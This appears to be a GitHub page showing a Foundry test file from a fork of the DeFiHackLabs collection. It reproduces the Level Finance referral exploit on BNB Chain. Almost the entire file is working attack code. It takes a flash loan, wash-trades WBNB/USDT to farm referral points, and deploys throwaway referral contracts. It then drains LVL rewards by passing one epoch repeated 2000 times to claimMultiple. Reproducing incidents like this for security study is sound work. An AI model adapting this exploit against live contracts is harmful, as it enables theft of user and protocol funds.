forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Level_exp.sol
176 lines (154 loc) · 6.62 KB
/
Level_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @Analysis
// https://twitter.com/peckshield/status/1653149493133729794
// https://twitter.com/BlockSecTeam/status/1653267431127920641
// @TX
// https://bscscan.com/tx/0x6aef8bb501a53e290837d4398b34d5d4d881267512cfe78eb9ba7e59f41dad04
// https://bscscan.com/tx/0xe1f257041872c075cbe6a1212827bc346df3def6d01a07914e4006ec43027165
// @Summary
// Lack of checking for duplicate elements in arrays
interface IPool {
function swap(
address _tokenIn,
address _tokenOut,
uint256 _minOut,
address _to,
bytes calldata extradata
) external;
}
interface ILevelReferralControllerV2 {
struct UserInfo {
uint256 tier;
uint256 tradingPoint;
uint256 referralPoint;
uint256 claimed;
}
function claim(uint256 _epoch, address _to) external;
function claimMultiple(uint256[] calldata _epoches, address _to) external;
function setReferrer(address _referrer) external;
function currentEpoch() external view returns (uint256);
function claimable(uint256 _epoch, address _user) external view returns (uint256);
function setEnableNextEpoch(bool _enable) external;
function nextEpoch() external;
}
contract ContractTest is Test {
IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
IERC20 LVL = IERC20(0xB64E280e9D1B5DbEc4AcceDb2257A87b400DB149);
ILevelReferralControllerV2 LevelReferralControllerV2 =
ILevelReferralControllerV2(0x977087422C008233615b572fBC3F209Ed300063a);
IPool pool = IPool(0xA5aBFB56a78D2BD4689b25B8A77fd49Bb0675874);
address dodo = 0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d;
Exploiter exploiter;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("bsc", 27_830_139);
cheats.label(address(WBNB), "WBNB");
cheats.label(address(USDT), "USDT");
cheats.label(address(LVL), "LVL");
cheats.label(address(LevelReferralControllerV2), "LevelReferralControllerV2");
cheats.label(address(pool), "pool");
cheats.label(address(dodo), "dodo");
}
function testExploit() external {
deal(address(WBNB), address(this), 95 * 1e18);
exploiter = new Exploiter(address(this));
LevelReferralControllerV2.setReferrer(address(exploiter));
createReferral();
WashTrading();
vm.warp(block.timestamp + 1 * 60 * 60);
vm.startPrank(0x6023C6afa26a68E05672F111FdbB1De93cBAc621);
LevelReferralControllerV2.setEnableNextEpoch(true);
LevelReferralControllerV2.nextEpoch();
vm.stopPrank();
vm.warp(block.timestamp + 60 * 60);
claim();
vm.warp(block.timestamp + 5 * 60 * 60);
for (uint256 i; i < 11; i++) {
claimReward(2000);
vm.warp(block.timestamp + i * 15);
}
emit log_named_decimal_uint(
"Attacker LVL Token balance after exploit", LVL.balanceOf(address(this)), LVL.decimals()
);
}
function createReferral() internal {
for (uint256 i; i < 15; i++) {
new Referral(address(exploiter));
}
for (uint256 i; i < 15; i++) {
new Referral(address(this));
}
}
function WashTrading() internal {
DVM(dodo).flashLoan(300 * 1e18, 0, address(this), abi.encode(uint256(20)));
}
function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
uint256 amount = abi.decode(data, (uint256));
for (uint256 i; i < amount; i++) {
WBNB.transfer(address(pool), WBNB.balanceOf(address(this)));
pool.swap(address(WBNB), address(USDT), 1, address(this), abi.encode(address(exploiter)));
USDT.transfer(address(pool), USDT.balanceOf(address(this)));
pool.swap(address(USDT), address(WBNB), 1, address(this), abi.encode(address(exploiter)));
}
WBNB.transfer(address(exploiter), WBNB.balanceOf(address(this)));
exploiter.swap(20);
WBNB.transfer(dodo, 300 * 1e18);
}
function claim() internal {
LevelReferralControllerV2.claimable(13, address(this));
uint256 tokenID = LevelReferralControllerV2.currentEpoch() - 1;
LevelReferralControllerV2.claim(tokenID, address(this));
exploiter.claim(tokenID);
}
function claimReward(uint256 amount) internal {
uint256 tokenID = LevelReferralControllerV2.currentEpoch() - 1;
uint256[] memory _epoches = new uint256[](amount);
for (uint256 i; i < amount; i++) {
_epoches[i] = tokenID;
}
LevelReferralControllerV2.claimable(_epoches[0], address(this));
LevelReferralControllerV2.claimMultiple(_epoches, address(this));
exploiter.claimMultiple(amount);
}
}
contract Exploiter {
IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
IPool pool = IPool(0xA5aBFB56a78D2BD4689b25B8A77fd49Bb0675874);
ILevelReferralControllerV2 LevelReferralControllerV2 =
ILevelReferralControllerV2(0x977087422C008233615b572fBC3F209Ed300063a);
constructor(address _referrer) {
LevelReferralControllerV2.setReferrer(_referrer);
}
function swap(uint256 amount) external {
for (uint256 i; i < amount; i++) {
WBNB.transfer(address(pool), WBNB.balanceOf(address(this)));
pool.swap(address(WBNB), address(USDT), 1, address(this), abi.encode(address(msg.sender)));
USDT.transfer(address(pool), USDT.balanceOf(address(this)));
pool.swap(address(USDT), address(WBNB), 1, address(this), abi.encode(address(msg.sender)));
}
WBNB.transfer(msg.sender, WBNB.balanceOf(address(this)));
}
function claim(uint256 tokenId) external {
LevelReferralControllerV2.claim(tokenId, msg.sender);
}
function claimMultiple(uint256 amount) external {
uint256 tokenID = LevelReferralControllerV2.currentEpoch() - 1;
uint256[] memory _epoches = new uint256[](amount);
for (uint256 i; i < amount; i++) {
_epoches[i] = tokenID;
}
LevelReferralControllerV2.claimMultiple(_epoches, msg.sender);
}
}
contract Referral {
ILevelReferralControllerV2 LevelReferralControllerV2 =
ILevelReferralControllerV2(0x977087422C008233615b572fBC3F209Ed300063a);
constructor(address _referrer) {
LevelReferralControllerV2.setReferrer(_referrer);
}
}